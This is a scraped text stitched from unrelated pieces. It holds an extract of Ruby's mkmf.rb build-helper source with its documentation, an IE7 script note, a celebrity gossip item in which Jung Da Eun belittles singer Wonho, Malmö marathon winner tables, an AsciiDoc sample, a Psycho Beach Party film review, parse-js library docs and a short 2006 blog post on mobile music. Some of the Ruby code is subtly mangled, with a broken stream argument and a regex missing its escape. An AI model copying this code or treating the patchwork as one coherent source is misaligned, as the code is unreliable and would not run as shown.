mfile.print "\t$(INSTALL_PROG) #{fseprepl[f]} #{dir}\n" if defined?($installed_list) mfile.print "\t@echo #{dir}/#{File.basename(f)}>>$(INSTALLED_LIST)\n" end end mfile.print "clean-static::\n" mfile.print "\t-$(Q)$(RM) $(STATIC_LIB)\n" else mfile.puts "Makefile" end mfile.print("install-rb: pre-install-rb do-install-rb install-rb-default\n") mfile.print("install-rb-default: pre-install-rb-default do-install-rb-default\n") mfile.print("pre-install-rb: Makefile\n") mfile.print("pre-install-rb-default: Makefile\n") mfile.print("do-install-rb:\n") mfile.print("do-install-rb-default:\n") for sfx, i in [["-default", [["lib/**/*.rb", "$(RUBYLIBDIR)", "lib"]]], ["", $INSTALLFILES]] files = install_files(mfile, i, nil, srcprefix) or next for dir, *files in files unless dirs.include?(dir) dirs << dir mfile.print "pre-install-rb#{sfx}: #{timestamp_file(dir, target_prefix)}\n" end for f in files dest = "#{dir}/#{File.basename(f)}" mfile.print("do-install-rb#{sfx}: #{dest}\n") mfile.print("#{dest}: #{f} #{timestamp_file(dir, target_prefix)}\n") mfile.print("\t$(Q) $(#{$extout ? 'COPY' : 'INSTALL_DATA'}) #{f} $(@D)\n") if defined?($installed_list) and !$extout mfile.print("\t@echo #{dest}>>$(INSTALLED_LIST)\n") end if $extout mfile.print("clean-rb#{sfx}::\n") mfile.print("\t-$(Q)$(RM) #{fseprepl[dest]}\n") end end end mfile.print "pre-install-rb#{sfx}:\n" if files.empty? mfile.print("\t@$(NULLCMD)\n") else q = "$(MAKE) -q do-install-rb#{sfx}" if $nmake mfile.print "!if \"$(Q)\" == \"@\"\n\t@#{q} || \\\n!endif\n\t" else mfile.print "\t$(Q1:0=@#{q} || )" end mfile.print "$(ECHO1:0=echo) installing#{sfx.sub(/^-/, " ")} #{target} libraries\n" end if $extout dirs.uniq! unless dirs.empty? mfile.print("clean-rb#{sfx}::\n") for dir in dirs.sort_by {|d| -d.count('/')} stamp = timestamp_file(dir, target_prefix) mfile.print("\t-$(Q)$(RM) #{fseprepl[stamp]}\n") mfile.print("\t-$(Q)$(RMDIRS) #{fseprepl[dir]}#{$ignore_error}\n") end end end end dirs.unshift(sodir) if target and !dirs.include?(sodir) dirs.each do |d| t = timestamp_file(d, target_prefix) mfile.print "#{t}:\n\t$(Q) $(MAKEDIRS) $(@D) #{d}\n\t$(Q) $(TOUCH) $@\n" end mfile.print <<-SITEINSTALL site-install: site-install-so site-install-rb site-install-so: install-so site-install-rb: install-rb SITEINSTALL return unless target mfile.print ".SUFFIXES: .#{(SRC_EXT + [$OBJEXT, $ASMEXT]).compact.join(' .')}\n" mfile.print "\n" compile_command = "\n\t$(ECHO) compiling $(<#{rsep})\n\t$(Q) %s\n\n" command = compile_command % COMPILE_CXX asm_command = compile_command.sub(/compiling/, 'translating') % ASSEMBLE_CXX CXX_EXT.each do |e| each_compile_rules do |rule| mfile.printf(rule, e, $OBJEXT) mfile.print(command) mfile.printf(rule, e, $ASMEXT) mfile.print(asm_command) end end command = compile_command % COMPILE_C asm_command = compile_command.sub(/compiling/, 'translating') % ASSEMBLE_C C_EXT.each do |e| each_compile_rules do |rule| mfile.printf(rule, e, $OBJEXT) mfile.print(command) mfile.printf(rule, e, $ASMEXT) mfile.print(asm_command) end end mfile.print "$(TARGET_SO): " mfile.print "$(DEFFILE) " if makedef mfile.print "$(OBJS) Makefile" mfile.print " #{timestamp_file(sodir, target_prefix)}" if $extout mfile.print "\n" mfile.print "\t$(ECHO) linking shared-object #{target_prefix.sub(/\A\/(.*)/, '\1/')}$(DLLIB)\n" mfile.print "\t-$(Q)$(RM) $(@#{sep})\n" link_so = LINK_SO.gsub(/^/, "\t$(Q) ") if srcs.any?(&%r"\.(?:#{CXX_EXT.join('|')})\z".method(:===)) link_so = link_so.sub(/\bLDSHARED\b/, '\&XX') end mfile.print link_so, "\n\n" unless $static.nil? mfile.print "$(STATIC_LIB): $(OBJS)\n\t-$(Q)$(RM) $(@#{sep})\n\t" mfile.print "$(ECHO) linking static-library $(@#{rsep})\n\t$(Q) " mfile.print "$(AR) #{config_string('ARFLAGS') || 'cru '}$@ $(OBJS)" config_string('RANLIB') do |ranlib| mfile.print "\n\t-$(Q)#{ranlib} $(@) 2> /dev/null || true" end end mfile.print "\n\n" if makedef mfile.print "$(DEFFILE): #{origdef}\n" mfile.print "\t$(ECHO) generating $(@#{rsep})\n" mfile.print "\t$(Q) #{makedef} > $@\n\n" end depend = File.join(srcdir, "depend") if File.exist?(depend) mfile.print("###\n", *depend_rules(File.read(depend))) else mfile.print "$(OBJS): $(HDRS) $(ruby_headers)\n" end $makefile_created = true ensure mfile.close if mfile end
Processes the data contents of the “depend” file. Each line of this file is expected to be a file name.
Returns the output of findings, in Makefile format.
# File lib/mkmf.rb, line 2067 def depend_rules(depend) suffixes = [] depout = [] cont = implicit = nil impconv = proc do each_compile_rules {|rule| depout << (rule % implicit[0]) << implicit[1]} implicit = nil end ruleconv = proc do |line| if implicit if /\A\t/ =~ line implicit[1] << line next else impconv[] end end if m = /\A\.(\w+)\.(\w+)(?:\s*:)/.match(line) suffixes << m[1] << m[2] implicit = [[m[1], m[2]], [m.post_match]] next elsif RULE_SUBST and /\A(?!\s*\w+\s*=)[$\w][^#]*:/ =~ line line.sub!(/\s*\#.*$/, '') comment = $& line.gsub!(%r"(\s)(?!\.)([^$(){}+=:\s\,]+)(?=\s|\z)") {$1 + RULE_SUBST % $2} line = line.chomp + comment + "\n" if comment end depout << line end depend.each_line do |line| line.gsub!(/\.o\b/, ".#{$OBJEXT}") line.gsub!(/\{\$\(VPATH\)\}/, "") unless $nmake line.gsub!(/\$\((?:hdr|top)dir\)\/config.h/, $config_h) line.gsub!(%r"\$\(hdrdir\)/(?!ruby(?![^:;/\s]))(?=[-\w]+\.h)", '\&ruby/') if $nmake && /\A\s*\$\(RM|COPY\)/ =~ line line.gsub!(%r"[-\w\./]{2,}"){$&.tr("/", "\\")} line.gsub!(/(\$\((?!RM|COPY)[^:)]+)(?=\))/, '\1:/=\') end if /(?:^|[^\])(?:\\)*\$/ =~ line (cont ||= []) << line next elsif cont line = (cont << line).join cont = nil end ruleconv.call(line) end if cont ruleconv.call(cont.join) elsif implicit impconv.call end unless suffixes.empty? depout.unshift(".SUFFIXES: ." + suffixes.uniq.join(" .") + "\n\n") end depout.unshift("$(OBJS): $(RUBY_EXTCONF_H)\n\n") if $extconf_h depout.flatten! depout end
Sets a target
name that the user can then use to configure
various “with” options with on the command line by using that name. For
example, if the target is set to “foo”, then the user could use the
--with-foo-dir=prefix
, --with-foo-include=dir
and
--with-foo-lib=dir
command line options to tell where to
search for header/library files.
You may pass along additional parameters to specify default values. If one
is given it is taken as default prefix
, and if two are given
they are taken as “include” and “lib” defaults in that order.
In any case, the return value will be an array of determined “include” and “lib” directories, either of which can be nil if no corresponding command line option is given when no default value is specified.
Note that #dir_config only adds to the list of places to search for libraries and include files. It does not link the libraries into your application.
# File lib/mkmf.rb, line 1734 def dir_config(target, idefault=nil, ldefault=nil) if dir = with_config(target + "-dir", (idefault unless ldefault)) defaults = Array === dir ? dir : dir.split(File::PATH_SEPARATOR) idefault = ldefault = nil end idir = with_config(target + "-include", idefault) $arg_config.last[1] ||= "${#{target}-dir}/include" ldir = with_config(target + "-lib", ldefault) $arg_config.last[1] ||= "${#{target}-dir}/#{_libdir_basename}" idirs = idir ? Array === idir ? idir.dup : idir.split(File::PATH_SEPARATOR) : [] if defaults idirs.concat(defaults.collect {|d| d + "/include"}) idir = ([idir] + idirs).compact.join(File::PATH_SEPARATOR) end unless idirs.empty? idirs.collect! {|d| "-I" + d} idirs -= Shellwords.shellwords($CPPFLAGS) unless idirs.empty? $CPPFLAGS = (idirs.quote << $CPPFLAGS).join(" ") end end ldirs = ldir ? Array === ldir ? ldir.dup : ldir.split(File::PATH_SEPARATOR) : [] if defaults ldirs.concat(defaults.collect {|d| "#{d}/#{_libdir_basename}"}) ldir = ([ldir] + ldirs).compact.join(File::PATH_SEPARATOR) end $LIBPATH = ldirs | $LIBPATH [idir, ldir] end
creates a stub Makefile.
# File lib/mkmf.rb, line 2036 def dummy_makefile(srcdir) configuration(srcdir) << "CLEANFILES = #{$cleanfiles.join(' ')} DISTCLEANFILES = #{$distcleanfiles.join(' ')} all install static install-so install-rb: Makefile @$(NULLCMD) .PHONY: all install static install-so install-rb .PHONY: clean clean-so clean-static clean-rb " << CLEANINGS end
Tests for the presence of an --enable-
config or
--disable-
config option. Returns true
if
the enable option is given, false
if the disable option is
given, and the default value otherwise.
This can be useful for adding custom definitions, such as debug information.
Example:
if enable_config("debug") $defs.push("-DOSSL_DEBUG") unless $defs.include? "-DOSSL_DEBUG" end
# File lib/mkmf.rb, line 1646 def enable_config(config, default=nil) if arg_config("--enable-"+config) true elsif arg_config("--disable-"+config) false elsif block_given? yield(config, default) else return default end end
Searches for the executable bin
on path
. The
default path is your PATH
environment variable. If that
isn't defined, it will resort to searching /usr/local/bin, /usr/ucb,
/usr/bin and /bin.
If found, it will return the full path, including the executable name, of where it was found.
Note that this method does not actually affect the generated Makefile.
# File lib/mkmf.rb, line 1576 def find_executable(bin, path = nil) checking_for checking_message(bin, path) do find_executable0(bin, path) end end
Instructs mkmf to search for the given header
in any of the
paths
provided, and returns whether or not it was found in
those paths.
If the header is found then the path it was found on is added to the list
of included directories that are sent to the compiler (via the
-I
switch).
# File lib/mkmf.rb, line 1142 def find_header(header, *paths) message = checking_message(header, paths) header = cpp_include(header) checking_for message do if try_header(header) true else found = false paths.each do |dir| opt = "-I#{dir}".quote if try_header(header, opt) $INCFLAGS << " " << opt found = true break end end found end end end
Returns whether or not the entry point func
can be found
within the library lib
in one of the paths
specified, where paths
is an array of strings. If
func
is nil
, then the main()
function is used as the entry point.
If lib
is found, then the path it was found on is added to the
list of library paths searched and linked against.
# File lib/mkmf.rb, line 1018 def find_library(lib, func, *paths, &b) lib = with_config(lib+'lib', lib) paths = paths.collect {|path| path.split(File::PATH_SEPARATOR)}.flatten checking_for checking_message(func && func.funcall_style, LIBARG%lib) do libpath = $LIBPATH libs = append_library($libs, lib) begin until r = try_func(func, libs, &b) or paths.empty? $LIBPATH = libpath | [paths.shift] end if r $libs = libs libpath = nil end ensure $LIBPATH = libpath if libpath end r end end
Returns where the static type type
is defined.
You may also pass additional flags to opt
which are then
passed along to the compiler.
See also have_type
.
# File lib/mkmf.rb, line 1239 def find_type(type, opt, *headers, &b) opt ||= "" fmt = "not found" def fmt.%(x) x ? x.respond_to?(:join) ? x.join(",") : x : self end checking_for checking_message(type, nil, opt), fmt do headers.find do |h| try_type(type, h, opt, &b) end end end
Returns whether or not the constant const
is defined. You may
optionally pass the type
of const
as
[const, type]
, such as:
have_const(%w[PTHREAD_MUTEX_INITIALIZER pthread_mutex_t], "pthread.h")
You may also pass additional headers
to check against in
addition to the common header files, and additional flags to
opt
which are then passed along to the compiler.
If found, a macro is passed as a preprocessor constant to the compiler
using the type name, in uppercase, prepended with HAVE_CONST_
.
For example, if have_const('foo')
returned true, then
the HAVE_CONST_FOO
preprocessor macro would be passed to the
compiler.
# File lib/mkmf.rb, line 1287 def have_const(const, headers = nil, opt = "", &b) checking_for checking_message([*const].compact.join(' '), headers, opt) do try_const(const, headers, opt, &b) end end
Returns whether or not the given framework
can be found on
your system. If found, a macro is passed as a preprocessor constant to the
compiler using the framework name, in uppercase, prepended with
HAVE_FRAMEWORK_
.
For example, if have_framework('Ruby')
returned true,
then the HAVE_FRAMEWORK_RUBY
preprocessor macro would be
passed to the compiler.
If fw
is a pair of the framework name and its header file name
that header file is checked, instead of the normally used header file which
is named same as the framework.
# File lib/mkmf.rb, line 1113 def have_framework(fw, &b) if Array === fw fw, header = *fw else header = "#{fw}.h" end checking_for fw do src = cpp_include("#{fw}/#{header}") << "\n" "int main(void){return 0;}" opt = " -framework #{fw}" if try_link(src, opt, &b) or (objc = try_link(src, "-ObjC#{opt}", &b)) $defs.push(format("-DHAVE_FRAMEWORK_%s", fw.tr_cpp)) # TODO: non-worse way than this hack, to get rid of separating # option and its argument. $LDFLAGS << " -ObjC" if objc and /(\A|\s)-ObjC(\s|\z)/ !~ $LDFLAGS $LIBS << opt true else false end end end
Returns whether or not the function func
can be found in the
common header files, or within any headers
that you provide.
If found, a macro is passed as a preprocessor constant to the compiler
using the function name, in uppercase, prepended with HAVE_
.
To check functions in an additional library, you need to check that library
first using have_library()
. The func
shall be
either mere function name or function name with arguments.
For example, if have_func('foo')
returned
true
, then the HAVE_FOO
preprocessor macro would
be passed to the compiler.
# File lib/mkmf.rb, line 1051 def have_func(func, headers = nil, opt = "", &b) checking_for checking_message(func.funcall_style, headers, opt) do if try_func(func, $libs, headers, opt, &b) $defs << "-DHAVE_#{func.sans_arguments.tr_cpp}" true else false end end end
Returns whether or not the given header
file can be found on
your system. If found, a macro is passed as a preprocessor constant to the
compiler using the header file name, in uppercase, prepended with
HAVE_
.
For example, if have_header('foo.h')
returned true,
then the HAVE_FOO_H
preprocessor macro would be passed to the
compiler.
# File lib/mkmf.rb, line 1091 def have_header(header, preheaders = nil, opt = "", &b) checking_for header do if try_header(cpp_include(preheaders)+cpp_include(header), opt, &b) $defs.push(format("-DHAVE_%s", header.tr_cpp)) true else false end end end
Returns whether or not the given entry point func
can be found
within lib
. If func
is nil
, the
main()
entry point is used by default. If found, it adds the
library to list of libraries to be used when linking your extension.
If headers
are provided, it will include those header files as
the header files it looks in when searching for func
.
The real name of the library to be linked can be altered by
--with-FOOlib
configuration option.
# File lib/mkmf.rb, line 993 def have_library(lib, func = nil, headers = nil, opt = "", &b) lib = with_config(lib+'lib', lib) checking_for checking_message(func && func.funcall_style, LIBARG%lib, opt) do if COMMON_LIBS.include?(lib) true else libs = append_library($libs, lib) if try_func(func, libs, headers, opt, &b) $libs = libs true else false end end end end
Returns whether or not macro
is defined either in the common
header files or within any headers
you provide.
Any options you pass to opt
are passed along to the compiler.
# File lib/mkmf.rb, line 976 def have_macro(macro, headers = nil, opt = "", &b) checking_for checking_message(macro, headers, opt) do macro_defined?(macro, cpp_include(headers), opt, &b) end end
Returns whether or not the struct of type type
contains
member
. If it does not, or the struct type can't be
found, then false is returned. You may optionally specify additional
headers
in which to look for the struct (in addition to the
common header files).
If found, a macro is passed as a preprocessor constant to the compiler
using the type name and the member name, in uppercase, prepended with
HAVE_
.
For example, if have_struct_member('struct foo',
'bar')
returned true, then the
HAVE_STRUCT_FOO_BAR
preprocessor macro would be passed to the
compiler.
HAVE_ST_BAR
is also defined for backward compatibility.
# File lib/mkmf.rb, line 1178 def have_struct_member(type, member, headers = nil, opt = "", &b) checking_for checking_message("#{type}.#{member}", headers) do if try_compile("#{cpp_include(headers)} /*top*/ int s = (char *)&((#{type}*)0)->#{member} - (char *)0; #{MAIN_DOES_NOTHING} ", opt, &b) $defs.push(format("-DHAVE_%s_%s", type.tr_cpp, member.tr_cpp)) $defs.push(format("-DHAVE_ST_%s", member.tr_cpp)) # backward compatibility true else false end end end
Returns whether or not the static type type
is defined. You
may optionally pass additional headers
to check against in
addition to the common header files.
You may also pass additional flags to opt
which are then
passed along to the compiler.
If found, a macro is passed as a preprocessor constant to the compiler
using the type name, in uppercase, prepended with HAVE_TYPE_
.
For example, if have_type('foo')
returned true, then
the HAVE_TYPE_FOO
preprocessor macro would be passed to the
compiler.
# File lib/mkmf.rb, line 1226 def have_type(type, headers = nil, opt = "", &b) checking_for checking_message(type, headers, opt) do try_type(type, headers, opt, &b) end end
Returns whether or not the variable var
can be found in the
common header files, or within any headers
that you provide.
If found, a macro is passed as a preprocessor constant to the compiler
using the variable name, in uppercase, prepended with HAVE_
.
To check variables in an additional library, you need to check that library
first using have_library()
.
For example, if have_var('foo')
returned true, then
the HAVE_FOO
preprocessor macro would be passed to the
compiler.
# File lib/mkmf.rb, line 1073 def have_var(var, headers = nil, opt = "", &b) checking_for checking_message(var, headers, opt) do if try_var(var, headers, opt, &b) $defs.push(format("-DHAVE_%s", var.tr_cpp)) true else false end end end
Returns compile/link information about an installed library in a tuple of
[cflags, ldflags, libs]
, by using the command found first in
the following commands:
-
If
--with-{pkg}-config={command}
is given via command line option:{command} {option}
-
{pkg}-config {option}
-
pkg-config {option} {pkg}
Where {option} is, for instance, --cflags
.
The values obtained are appended to +$CFLAGS+, +$LDFLAGS+ and +$libs+.
If an option
argument is given, the config command is invoked
with the option and a stripped output string is returned without modifying
any of the global values mentioned above.
# File lib/mkmf.rb, line 1787 def pkg_config(pkg, option=nil) if pkgconfig = with_config("#{pkg}-config") and find_executable0(pkgconfig) # iff package specific config command is given elsif ($PKGCONFIG ||= (pkgconfig = with_config("pkg-config", ("pkg-config" unless CROSS_COMPILING))) && find_executable0(pkgconfig) && pkgconfig) and xsystem("#{$PKGCONFIG} --exists #{pkg}") # default to pkg-config command pkgconfig = $PKGCONFIG get = proc {|opt| opt = xpopen("#{$PKGCONFIG} --#{opt} #{pkg}", err[[:child, :out], &:read) Logging.open {puts opt.each_line.map{|s|"=> #{s.inspect}"}} opt.strip if $?.success? } elsif find_executable0(pkgconfig = "#{pkg}-config") # default to package specific config command, as a last resort. else pkgconfig = nil end if pkgconfig get ||= proc {|opt| opt = xpopen("#{pkgconfig} --#{opt}", err[[:child, :out], &:read) Logging.open {puts opt.each_line.map{|s|"=> #{s.inspect}"}} opt.strip if $?.success? } end orig_ldflags = $LDFLAGS if get and option get[option] elsif get and try_ldflags(ldflags = get['libs']) if incflags = get['cflags-only-I'] $INCFLAGS << " " << incflags cflags = get['cflags-only-other'] else cflags = get['cflags'] end libs = get['libs-only-l'] if cflags $CFLAGS += " " << cflags $CXXFLAGS += " " << cflags end if libs ldflags = (Shellwords.shellwords(ldflags) - Shellwords.shellwords(libs)).quote.join(" ") else libs, ldflags = Shellwords.shellwords(ldflags).partition {|s| s =~ /-l([^ ]+)/ }.map {|l|l.quote.join(" ")} end $libs += " " << libs $LDFLAGS = [orig_ldflags, ldflags].join(' ') Logging::message "package configuration for %s\n", pkg Logging::message "cflags: %s\nldflags: %s\nlibs: %s\n\n", cflags, ldflags, libs [cflags, ldflags, libs] else Logging::message "package configuration for %s is not found\n", pkg nil end end
Returns whether or not the constant const
is defined.
See also have_const
# File lib/mkmf.rb, line 1256 def try_const(const, headers = nil, opt = "", &b) const, type = *const if try_compile("#{cpp_include(headers)} /*top*/ typedef #{type || 'int'} conftest_type; conftest_type conftestval = #{type ? '' : '(int)'}#{const}; ", opt, &b) $defs.push(format("-DHAVE_CONST_%s", const.tr_cpp)) true else false end end
Returns whether or not the static type type
is defined.
See also have_type
# File lib/mkmf.rb, line 1199 def try_type(type, headers = nil, opt = "", &b) if try_compile("#{cpp_include(headers)} /*top*/ typedef #{type} conftest_type; int conftestval[sizeof(conftest_type)?1:-1]; ", opt, &b) $defs.push(format("-DHAVE_TYPE_%s", type.tr_cpp)) true else false end end
Tests for the presence of a --with-
config or
--without-
config option. Returns true
if the with option is given, false
if the without option is
given, and the default value otherwise.
This can be useful for adding custom definitions, such as debug information.
Example:
if with_config("debug") $defs.push("-DOSSL_DEBUG") unless $defs.include? "-DOSSL_DEBUG" end
# File lib/mkmf.rb, line 1611 def with_config(config, default=nil) config = config.sub(/^--with[-_]/, '') val = arg_config("--with-"+config) do if arg_config("--without-"+config) false elsif block_given? yield(config, default) else break default end end case val when "yes" true when "no" false else val end end


Calling document.recalc()
after you have made changes to the
DOM will refresh the IE7 style rules.
You must include the module ie7-recalc.js
for this to work.
New HTML elements are fixed after they are created.
Add more list items and maintain the last-child
selector.
Calculated properties (e.g. width
) are maintained as new
content is created.
< back


Jung Da Eun fires back + argues with Wonho's fans via Han Seo Hee's Instagram Live, claims Wonho has no talent
by beansssSome time on November 4, former idol trainee Han Seo Hee was seen going Live via Instagram, along with her girlfriend/former TV personality Jung Da Eun.
Fans of former MONSTA X member Wonho flocked to the Instagram Live to vent their anger toward the couple, calling Jung Da Eun and Han Seo Hee "attention seekers". Jung Da Eun responded, "If I was an attention seeker, I would've debuted as a singer, like Wonho. If I was an attention seeker, I would've debuted as a singer like Wonho, right? But I didn't. Because I committed so many crimes in the past."
When fans prompted her to "explain", Jung Da Eun claimed, "You guys hate me, right? But Wonho and I have the same personality. So he and I are on the same level." Han Seo Hee then objected to this, to which Jung Da Eun added on, "Actually, I'm a little bit better [than Wonho]."
Jung Da Eun then went on to argue with fans by stating that Wonho had no talent. "Talent? What talent does he have? Dancing? You call that dance? Boo! You call that singing? No."
You can catch segments from Han Seo Hee's recent Live, below.


Heleneholms Marathon
Malm÷ SWE
Website: www.heleneholmslanglopare.se
Race Winners
(19 runnings)
14 Apr 2007
08 Apr 2006
16 Apr 2005
17 Apr 2004
12 Apr 2003
13 Apr 2002
21 Apr
2001
08 Apr 2000
10 Apr
1999
Notes: 1999 was the inaugural year.
29
Apr
2017
2:51:55
Micael Lindqvist (SWE)
3:24:18
Maria Goransson (SWE)
17
Apr
2016
2:52:05
Carlos-Miguel Faria (POR)
3:17:03
Viktoria Johnsson (SWE)
19
Apr
2015
2:44:46
Jonas Lundstrom (SWE)
3:22:45
Asa Hallstorp (SWE)
12
Apr
2014
2:37:27
David Petersson-2
3:01:26
Karin Axelsson (SWE)
13
Apr
2013
2:40:05
David Petersson (SWE)
3:06:42
Anna Eriksmo-2
14 Apr
2012
2:55:21
Mans Modeer (SWE)
3:38:50
Anna Eriksmo (SWE)
09 Apr
2011
2:43:55
Jimmy Lindberg (SWE)
3:07:32
Kristin Brodin-2
10 Apr
2010
2:53:04
Frederic Rabenne (SWE)
3:10:29
Kristin Brodin (SWE)
18 Apr
2009
2:52:10
David Hogberg (SWE)
3:23:21
Pernilla Lundberg (SWE)
12 Apr
2008
2:44:21
Stefan Hult (SWE)
3:22:51
Anette Kroon (SWE)
2:52:45
Jorgen Holmqvist (SWE)
3:42:46
Susanne Johansson (SWE)
2:47:46
Anders Svensson (SWE)
3:27:03
Birgitte-Munch Nielsen (DEN)
2:39:10
Odd Nyheim (SWE)
3:20:46
Caroline Aistrup (SWE)
2:49:05
Jorgen Nilsson-2
3:33:28
Jenne Karlsson (SWE)
2:53:33
Jonas Bengtsson (SWE)
3:30:55
Pernilla Lundbladh (SWE)
2:36:14
Erik Gerdin (SWE)
3:15:53
Eva Bak (SWE)
2:46:47
Jorgen Nilsson (SWE)
3:19:21
Catarina Asph-2
2:28:49
Stefan Hall (SWE)
3:45:00
Gunilla Martensson (SWE)
2:51:34
Soren Meurling (SWE)
3:18:59
Catarina Asph (SWE)
Most Wins
(1999/date)
Men
|
2 |
Jorgen Nilsson (SWE) | 2001,2004 |
| David Petersson (SWE) | 2013-14 |
Women
|
2 |
Catarina Asph (SWE) | 1999,2001 |
| Kristin Brodin (SWE) | 2010-11 | |
| Anna Eriksmo (SWE) | 2012-13 |
Prize Money
(ADR qualified runners)
No information on prize money has been received for this race.
Race Time Bias
(sec/km)
Insufficient information to calculated the race time bias.
Competitive Level
(1990-date)
Insufficient information to calculated the competitive level.
Quality Performances
Men no men under 2:20 Women no women under 2:50
Malm÷ Marathon
Race Winners
(15 runnings?)
13 Apr
1980
1979
15 Apr
1978
1977
1976
1975
07 Apr
1974
1973
14 May
1972
Notes: 1999 was the inaugural year.
16
Aug
1986
2:19:24
Mohammed Rutiginga (TAN)
2:47:01
Silvana Acquarone (ITA)
07 Sep
1985
2:29:33
Tore Sandberg (SWE)
2:47:26
Gillian Castka (ENG)
08 Sep
1984
2:18:29
Jozef Machalek (SVK)
2:43:15
Meeri Bodelid (SWE)
11 Sep
1983
2:13:09
Tommy Persson (SWE)
2:46:30
Solweig Harrysson (SWE)
12 Sep
1982
2:16:53
Jan-Ivar Westlund (SWE)
---
n/a
1981
---
n/a
---
n/a
---
n/a
2:54:35
Lone Dybdal Jensen (DEN)
---
n/a
---
n/a
2:23:29
Jorn Lauenborg-2
---
n/a
2:20:00
Jorn Lauenborg (DEN)
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
3:35:01
Ulla-Britta Holmstrand (SWE)
---
n/a
---
n/a
2:25:44
Bengt Larsson (23,DEN)
Most Wins
(1972/1986)
Men
|
2 |
Jorn Lauenborg (DEN) | 1977-78 |
Women
Prize Money
(ADR qualified runners)
No information on prize money has been received for this race.
Race Time Bias
(sec/km)
Insufficient information to calculated the race time bias.
Competitive Level
(1990-date)
Insufficient information to calculated the competitive level.
Quality Performances
Quality Performances
Men <2:14 1 <2:15 1 <2:16 1 <2:17 2 <2:18 3 <2:19 5 <2:20 8 Women <2:44 1 <2:46 1 <2:48 4 <2:50 5Last Updated on 05 May 2017
Contributor: Klaas Loonstra (50), Hans Dahlen (12 points)


First level heading
This is a paragraph with a bold word and an italicized word.
Second level heading
Unordered list title
-
list item 1
-
nested list item
-
nested nested list item 1
-
nested nested list item 2
-
-
-
list item 2
This is a paragraph.
Example 1. Example block title
Content in an example block is subject to normal substitutions.


filmcritic.com presents a review from staff member Robert Strohmeyer. You can find the review with full credits at http://filmcritic.com/misc/emporium.nsf/2a460f93626cd4678625624c007f2b46/cba54b75eb5a04238825696100047644?OpenDocument
Psycho Beach Party A film review by Robert Strohmeyer Copyright 2000 filmcritic.com filmcritic.com
Not since Rocky Horror has the film world produced such a vibrant farce of teen angst, violence, and sexual deviance. And here comes Rocky's comeuppance, as off-Broadway cult icon Charles Busch has scripted a work of sheer demented brilliance in the gleefully absurd Psycho Beach Party.
Originally performed on the stage, Psycho Beach Party is the story of a teenage girl who wants desperately to surf. It's also the story of a female cop who used to be a man. And some homoerotic surfers. And a beautiful movie star who's hiding from Hollywood. And an alcoholic mother with no grasp of the present.  And it all takes place at Malibu Beach in 1962.
Visually resplendent and constantly hilarious, this film has all the makings of a teen cult favorite. Combining the setting concepts of production designer Franco-Giacomo Carbone and the costuming of Camille Jumelle with the romping weirdness of an absolutely bizarre cast, Psycho Beach Party is a hilarious revelation of the pervasive neuroses welling up within the generation it represents.
Deftly acted to a sprightly, refined camp under the direction of Robert Lee King (Boys Life, The Disco Years), the entire cast deserves kudos. Particularly noteworthy is Lauren Ambrose (In & Out, Can't Hardly Wait) as Chicklet, the 16-year-old tomboy around whom the film's drama revolves. Through Ambrose's performance, Chicklet comes off like a psychotropic Gidget, the sort of girl the word "spunk" might seem to have been invented for. Her sudden, schizophrenic shifts from one personality to another are refreshingly ridiculous, riding a thin wire of sincerity and self-mockery one seldom sees in celluloid.
Thomas Gibson (ABC's Dharma & Greg) is funny in his role as surf-guru Kanaka, but often appears to be left out of the joke. Fortunately, the rest of the cast appears to get it and keeps the story rolling through a cavalcade of dorky music, lame plot twists, and insanely bad special effects. This is a movie you can laugh both with and at.
Charles Busch's role as Captain Monica Stark is funny and self-effacing. Australian beauty Kimberly Davies (The Next Best Thing) gives a performance evoking Gilligan's Island's Ginger as B-movie starlet-in-hiding Bettina. And keep and eye out for Splendor's Kathleen Robertson as Rhonda the wheelchair-bound psychobitch.
This movie is everything it sets out to be. Go for the cheap thrills; stay for the surprise ending.

The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


parse-js
is a Common Lisp package for parsing
JavaScript — ECMAScript
3, to be more precise. It is released under a zlib-style licence. For any feedback, contact me: Marijn Haverbeke.
The library can be downloaded, checked out from the git repository, or installed with asdf-install.
07-02-2013: New release. More corner-case bugs fixed.
Representation of for-in nodes changed to accomodate things
like for (x.y in z)
. Array element expressions may
now be nil, when parsing a literal like [1,,3]
.
03-01-2011: New release. Lots of conformance fixes,
driven
by CL-JavaScript
and UglifyJS
work. parse-js-string
is deprecated now
(parse-js
accepts strings), and basic support for
ECMAScript 5 has been added.
11-06-2010: Move from darcs to git for version control, update release tarball.
function parse-js (input &key ecma-version strict-semicolons reserved-words)
→ syntax-tree
Reads a program from a string or a stream, and produces an abstract syntax tree, which is a nested structure consisting of lists starting with keywords. The exact format of this structure is not very well documented, but the file as.txt gives a basic description.
The keyword arguments can be used to influence the
parsing mode. emca-version
can be 3
or
5
, and influences the standard that is followed. The
default is 3. Support for version 5 is incomplete at this time.
When strict-semicolons
is true, the parser will
complain about missing semicolons, even when they would have been
inserted by 'automatic semicolon insertion' rules. Finally, if
reserved-words
is true, the parser will complain
about 'future reserved words', such as class
being
used.
class js-parse-error
The type of errors raised when invalid input is
encountered. Inherits from simple-error
,
and has js-parse-error-line
and
js-parse-error-char
accessors that can be used
to read the location at which the error occurred.
function lex-js (stream)
→ function
A JavaScript tokeniser. The function returned can
be called repeatedly to read the next token object. See below for
a description of these objects. When the end of the stream is
reached, tokens with type :eof
are returned.
function token-type (token)
→ keyword
Reader for the type of token objects. Types are
keywords (one of :num :punc :string :operator :name :atom
:keyword :eof
).
function token-value (token)
→ value
Reader for the content of token objects. The type of this value depends on the type of the token ― it holds strings for names, for example, and numbers for number tokens.
function token-line (token)
→ number
The line on which a token was read.
function token-char (token)
→ number
The character at which a token starts.


--- layout: post title: Bad news for mobile music date: 2006-09-05 00:00:00 categories: digital-media mobile ---
Bad news for mobile music: "When asked what do they do when they hear a track which they'd like to download to their mobile, only six per cent said they'd buy it from their network operator's portal. A massive 44 per cent said they simply weren't interested in downloading music to their mobile phones."
Given that we've had MP3-playing mobiles for a good few years now (I can't remember the last time I bought a handset which didn't have 64MB of memory and headphones bundled with it), are there any studies about teenagers behaviour with phones and music-playing *today* - i.e. actual evidence that, in the wild, the phone is starting to replace the dedicated MP3 player?
